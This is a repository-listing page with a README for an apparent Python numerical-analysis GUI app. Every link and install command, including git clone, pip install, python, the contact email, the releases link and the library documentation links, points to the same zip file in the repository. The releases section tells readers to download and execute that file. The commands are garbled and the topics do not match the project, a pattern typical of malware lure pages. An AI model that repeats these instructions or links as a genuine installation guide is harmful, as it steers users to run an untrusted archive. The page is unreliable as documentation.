https://github.com/wayibkahil/numerical-analysis-app
A Python desktop application for solving mathematical equations using various numerical methods. This interactive tool provides a modern GUI for inputting equations and visualizing results through interactive plots. Features include solution history tracking, customizable settings, and PDF export capabilities.
https://github.com/wayibkahil/numerical-analysis-app
android euler false-positive fixed-point gauss-elimination java javascript ludecomposition newton-raphson numerical numerical-analysis numerical-methods secant-method static-analysis
Last synced: 2 months ago
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A Python desktop application for solving mathematical equations using various numerical methods. This interactive tool provides a modern GUI for inputting equations and visualizing results through interactive plots. Features include solution history tracking, customizable settings, and PDF export capabilities.
- Host: GitHub
- URL: https://github.com/wayibkahil/numerical-analysis-app
- Owner: WayibKahil
- License: mit
- Created: 2025-04-27T20:09:36.000Z (about 1 year ago)
- Default Branch: master
- Last Pushed: 2025-04-27T21:15:48.000Z (about 1 year ago)
- Last Synced: 2025-04-27T22:22:54.023Z (about 1 year ago)
- Topics: android, euler, false-positive, fixed-point, gauss-elimination, java, javascript, ludecomposition, newton-raphson, numerical, numerical-analysis, numerical-methods, secant-method, static-analysis
- Language: Python
- Size: 126 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
Awesome Lists containing this project
README
# Numerical Analysis App 📊
   
Welcome to the **Numerical Analysis App**! This Python desktop application helps you solve mathematical equations using various numerical methods. With an interactive GUI, you can easily input equations and visualize results through engaging plots. Whether you're a student or a professional, this tool provides the features you need for effective numerical analysis.
## Table of Contents
1. [Features](#features)
2. [Installation](#installation)
3. [Usage](#usage)
4. [Methods Supported](#methods-supported)
5. [Contributing](#contributing)
6. [License](#license)
7. [Contact](#contact)
8. [Releases](#releases)
## Features 🌟
- **Interactive GUI**: A user-friendly interface for inputting equations.
- **Visualization**: View results through interactive plots.
- **Solution History**: Keep track of your previous solutions for easy reference.
- **Customizable Settings**: Adjust settings to fit your needs.
- **PDF Export**: Save your results in PDF format for easy sharing.
## Installation 🛠️
To get started with the Numerical Analysis App, follow these steps:
1. **Clone the repository**:
```bash
git clone https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip
```
2. **Navigate to the project directory**:
```bash
cd Numerical-Analysis-App
```
3. **Install the required packages**:
Make sure you have Python installed. You can then use pip to install the necessary libraries:
```bash
pip install -r https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip
```
4. **Run the application**:
Execute the following command to start the app:
```bash
python https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip
```
## Usage 📈
After installation, open the app. You will see a clean interface where you can input your equations. Here’s how to use the app:
1. **Input an Equation**: Type your mathematical equation in the designated input field.
2. **Select a Method**: Choose from various numerical methods available in the dropdown menu.
3. **Visualize Results**: Click on the "Solve" button to see the results plotted on the screen.
4. **Export Results**: Use the export feature to save your results as a PDF.
## Methods Supported 🔍
The Numerical Analysis App supports several numerical methods, including:
- **Bisection Method**: A root-finding method that repeatedly bisects an interval and selects a subinterval in which a root exists.
- **Cramer’s Rule**: A method for solving systems of linear equations using determinants.
- **False Position Method**: A root-finding algorithm that combines the bisection method and linear interpolation.
- **Fixed Point Iteration**: A method for finding roots of equations by iterating on a function.
- **Gauss Elimination**: A method for solving linear systems by transforming the system into an upper triangular form.
- **LU Decomposition**: A method that factors a matrix into the product of a lower triangular matrix and an upper triangular matrix.
- **Newton-Raphson Method**: An iterative method for finding successively better approximations to the roots of a real-valued function.
- **Secant Method**: A root-finding algorithm that uses a succession of roots of secant lines.
## Contributing 🤝
We welcome contributions! If you have suggestions or improvements, feel free to fork the repository and submit a pull request. Please ensure that your code adheres to our coding standards and includes appropriate tests.
1. **Fork the repository**.
2. **Create a new branch**:
```bash
git checkout -b feature/YourFeature
```
3. **Make your changes** and commit them:
```bash
git commit -m "Add your feature"
```
4. **Push to the branch**:
```bash
git push origin feature/YourFeature
```
5. **Create a pull request**.
## License 📜
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Contact 📬
For any inquiries or issues, please reach out to the project maintainer:
- **Name**: Wayib Kahil
- **Email**: https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip
## Releases 🚀
To download the latest version of the Numerical Analysis App, visit the [Releases](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip) section. Download the appropriate file and execute it to start using the app.
You can also find previous versions and updates in the same section.
## Acknowledgments 🙏
We would like to thank the open-source community for their contributions and support. Special thanks to the developers of the libraries used in this project.
## Additional Resources 📚
- [Python Documentation](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip)
- [NumPy Documentation](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip)
- [Matplotlib Documentation](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip)
Feel free to explore and enhance your numerical analysis skills with the Numerical Analysis App!